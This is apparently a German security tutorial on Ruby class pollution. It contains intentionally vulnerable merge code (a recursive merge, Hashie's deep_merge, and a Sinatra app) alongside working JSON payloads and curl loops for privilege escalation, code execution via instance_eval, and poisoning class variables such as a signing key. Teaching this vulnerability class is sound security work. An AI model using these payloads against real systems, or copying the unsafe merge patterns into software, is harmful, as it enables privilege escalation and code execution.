# Code from https://blog.doyensec.com/2024/10/02/class-pollution-ruby.html# Comments added to exploit the merge on attributesrequire'json'# Base class for both Admin and Regular usersclassPersonattr_accessor :name, :age, :detailsdefinitialize(name:, age:, details:)@name = name@age = age@details = detailsend# Method to merge additional data into the objectdefmerge_with(additional)recursive_merge(self, additional)end# Authorize based on the `to_s` method resultdefauthorizeif to_s =="Admin"puts"Access granted: #{@name} is an admin."elseputs"Access denied: #{@name} is not an admin."endend# Health check that executes all protected methods using `instance_eval`defhealth_checkprotected_methods().each do|method|instance_eval(method.to_s)endendprivate# VULNERABLE FUNCTION that can be abused to merge attributesdefrecursive_merge(original, additional, current_obj= original)additional.each do|key, value|if value.is_a?(Hash)if current_obj.respond_to?(key)next_obj = current_obj.public_send(key)recursive_merge(original, value, next_obj)elsenew_object =Object.newcurrent_obj.instance_variable_set("@#{key}", new_object)current_obj.singleton_class.attr_accessor keyendelsecurrent_obj.instance_variable_set("@#{key}", value)current_obj.singleton_class.attr_accessor keyendendoriginalendprotecteddefcheck_cpuputs"CPU check passed."enddefcheck_memoryputs"Memory check passed."endend# Admin class inherits from PersonclassAdmin<Persondefinitialize(name:, age:, details:)super(name: name, age: age, details: details)enddefto_s"Admin"endend# Regular user class inherits from PersonclassUser<Persondefinitialize(name:, age:, details:)super(name: name, age: age, details: details)enddefto_s"User"endendclassJSONMergerAppdefself.run(json_input)additional_object =JSON.parse(json_input)# Instantiate a regular useruser =User.new(name: "John Doe",age: 30,details: {"occupation"=>"Engineer","location"=> {"city"=>"Madrid","country"=>"Spain"}})# Perform a recursive merge, which could override methodsuser.merge_with(additional_object)# Authorize the user (privilege escalation vulnerability)# ruby class_pollution.rb '{"to_s":"Admin","name":"Jane Doe","details":{"location":{"city":"Barcelona"}}}'user.authorize# Execute health check (RCE vulnerability)# ruby class_pollution.rb '{"protected_methods":["puts 1"],"name":"Jane Doe","details":{"location":{"city":"Barcelona"}}}'user.health_checkendendifARGV.length !=1puts"Usage: ruby class_pollution.rb 'JSON_STRING'"exitendjson_input =ARGV[0]JSONMergerApp.run(json_input)
Erklärung
Privilegieneskalation: Die authorize-Methode überprüft, ob to_s "Admin" zurückgibt. Durch das Injizieren eines neuen to_s-Attributs über JSON kann ein Angreifer die to_s-Methode dazu bringen, "Admin" zurückzugeben, was unbefugte Privilegien gewährt.
Remote Code Execution: In health_check führt instance_eval Methoden aus, die in protected_methods aufgeführt sind. Wenn ein Angreifer benutzerdefinierte Methodennamen (wie "puts 1") injiziert, wird instance_eval diese ausführen, was zu remote code execution (RCE) führt.
Dies ist nur möglich, weil es eine anfällige eval-Anweisung gibt, die den Stringwert dieses Attributs ausführt.
Auswirkungsbegrenzung: Diese Schwachstelle betrifft nur einzelne Instanzen und lässt andere Instanzen von User und Admin unberührt, wodurch der Umfang der Ausnutzung begrenzt wird.
Anwendungsfälle aus der Praxis
ActiveSupport’s deep_merge
Dies ist standardmäßig nicht anfällig, kann jedoch mit etwas wie:
# Method to merge additional data into the object using ActiveSupport deep_mergedefmerge_with(other_object)merged_hash = to_h.deep_merge(other_object)merged_hash.each do|key, value|self.class.attr_accessor keyinstance_variable_set("@#{key}", value)endselfend
Hashie’s deep_merge
Hashie’s deep_merge-Methode arbeitet direkt mit den Attributen von Objekten anstelle von einfachen Hashes. Sie verhindert den Ersatz von Methoden durch Attribute bei einem Merge mit einigen Ausnahmen: Attribute, die mit _, ! oder ? enden, können weiterhin in das Objekt zusammengeführt werden.
Ein Sonderfall ist das Attribut _ allein. Nur _ ist ein Attribut, das normalerweise ein Mash-Objekt zurückgibt. Und da es Teil der Ausnahmen ist, ist es möglich, es zu modifizieren.
Überprüfen Sie das folgende Beispiel, wie man durch das Übergeben von {"_": "Admin"} in der Lage ist, _.to_s == "Admin" zu umgehen:
require'json'require'hashie'# Base class for both Admin and Regular usersclassPerson<Hashie::Mash# Method to merge additional data into the object using hashiedefmerge_with(other_object)deep_merge!(other_object)selfend# Authorize based on to_sdefauthorizeif _.to_s =="Admin"puts"Access granted: #{@name} is an admin."elseputs"Access denied: #{@name} is not an admin."endendend# Admin class inherits from PersonclassAdmin<Persondefto_s"Admin"endend# Regular user class inherits from PersonclassUser<Persondefto_s"User"endendclassJSONMergerAppdefself.run(json_input)additional_object =JSON.parse(json_input)# Instantiate a regular useruser =User.new({name: "John Doe",age: 30,details: {"occupation"=>"Engineer","location"=> {"city"=>"Madrid","country"=>"Spain"}}})# Perform a deep merge, which could override methodsuser.merge_with(additional_object)# Authorize the user (privilege escalation vulnerability)# Exploit: If we pass {"_": "Admin"} in the JSON, the user will be treated as an admin.# Example usage: ruby hashie.rb '{"_": "Admin", "name":"Jane Doe","details":{"location":{"city":"Barcelona"}}}'user.authorizeendendifARGV.length !=1puts"Usage: ruby hashie.rb 'JSON_STRING'"exitendjson_input =ARGV[0]JSONMergerApp.run(json_input)
Poison the Classes
Im folgenden Beispiel ist es möglich, die Klasse Person sowie die Klassen Admin und Regular, die von der Klasse Person erben, zu finden. Es gibt auch eine andere Klasse namens KeySigner:
require'json'require'sinatra/base'require'net/http'# Base class for both Admin and Regular usersclassPerson@@url ="http://default-url.com"attr_accessor :name, :age, :detailsdefinitialize(name:, age:, details:)@name = name@age = age@details = detailsenddefself.url@@urlend# Method to merge additional data into the objectdefmerge_with(additional)recursive_merge(self, additional)endprivate# Recursive merge to modify instance variablesdefrecursive_merge(original, additional, current_obj= original)additional.each do|key, value|if value.is_a?(Hash)if current_obj.respond_to?(key)next_obj = current_obj.public_send(key)recursive_merge(original, value, next_obj)elsenew_object =Object.newcurrent_obj.instance_variable_set("@#{key}", new_object)current_obj.singleton_class.attr_accessor keyendelsecurrent_obj.instance_variable_set("@#{key}", value)current_obj.singleton_class.attr_accessor keyendendoriginalendendclassUser<Persondefinitialize(name:, age:, details:)super(name: name, age: age, details: details)endend# A class created to simulate signing with a key, to be infected with the third gadgetclassKeySigner@@signing_key ="default-signing-key"defself.signing_key@@signing_keyenddefsign(signing_key, data)"#{data}-signed-with-#{signing_key}"endendclassJSONMergerApp<Sinatra::Base# POST /merge - Infects class variables using JSON inputpost '/merge'docontent_type :jsonjson_input =JSON.parse(request.body.read)user =User.new(name: "John Doe",age: 30,details: {"occupation"=>"Engineer","location"=> {"city"=>"Madrid","country"=>"Spain"}})user.merge_with(json_input){ status: 'merged' }.to_jsonend# GET /launch-curl-command - Activates the first gadgetget '/launch-curl-command'docontent_type :json# This gadget makes an HTTP request to the URL stored in the User classifPerson.respond_to?(:url)url =Person.urlresponse =Net::HTTP.get_response(URI(url)){ status: 'HTTP request made', url: url, response_body: response.body }.to_jsonelse{ status: 'Failed to access URL variable' }.to_jsonendend# Curl command to infect User class URL:# curl -X POST -H "Content-Type: application/json" -d '{"class":{"superclass":{"url":"http://example.com"}}}' http://localhost:4567/merge# GET /sign_with_subclass_key - Signs data using the signing key stored in KeySignerget '/sign_with_subclass_key'docontent_type :json# This gadget signs data using the signing key stored in KeySigner classsigner =KeySigner.newsigned_data = signer.sign(KeySigner.signing_key,"data-to-sign"){ status: 'Data signed', signing_key: KeySigner.signing_key, signed_data: signed_data }.to_jsonend# Curl command to infect KeySigner signing key (run in a loop until successful):# for i in {1..1000}; do curl -X POST -H "Content-Type: application/json" -d '{"class":{"superclass":{"superclass":{"subclasses":{"sample":{"signing_key":"injected-signing-key"}}}}}}' http://localhost:4567/merge; done# GET /check-infected-vars - Check if all variables have been infectedget '/check-infected-vars'docontent_type :json{user_url: Person.url,signing_key: KeySigner.signing_key}.to_jsonendrun! if app_file == $0end
Es ist möglich, den Wert des @@url Attributs der Elternklasse Person zu ändern.
Vergiftung anderer Klassen
Mit diesem Payload:
for i in {1..1000}; docurl-XPOST-H"Content-Type: application/json"-d'{"class":{"superclass":{"superclass":{"subclasses":{"sample":{"signing_key":"injected-signing-key"}}}}}}'http://localhost:4567/merge--silent>/dev/null; done
Es ist möglich, die definierten Klassen zu brute-forcen und irgendwann die Klasse KeySigner zu vergiften, indem der Wert von signing_key durch injected-signing-key modifiziert wird.\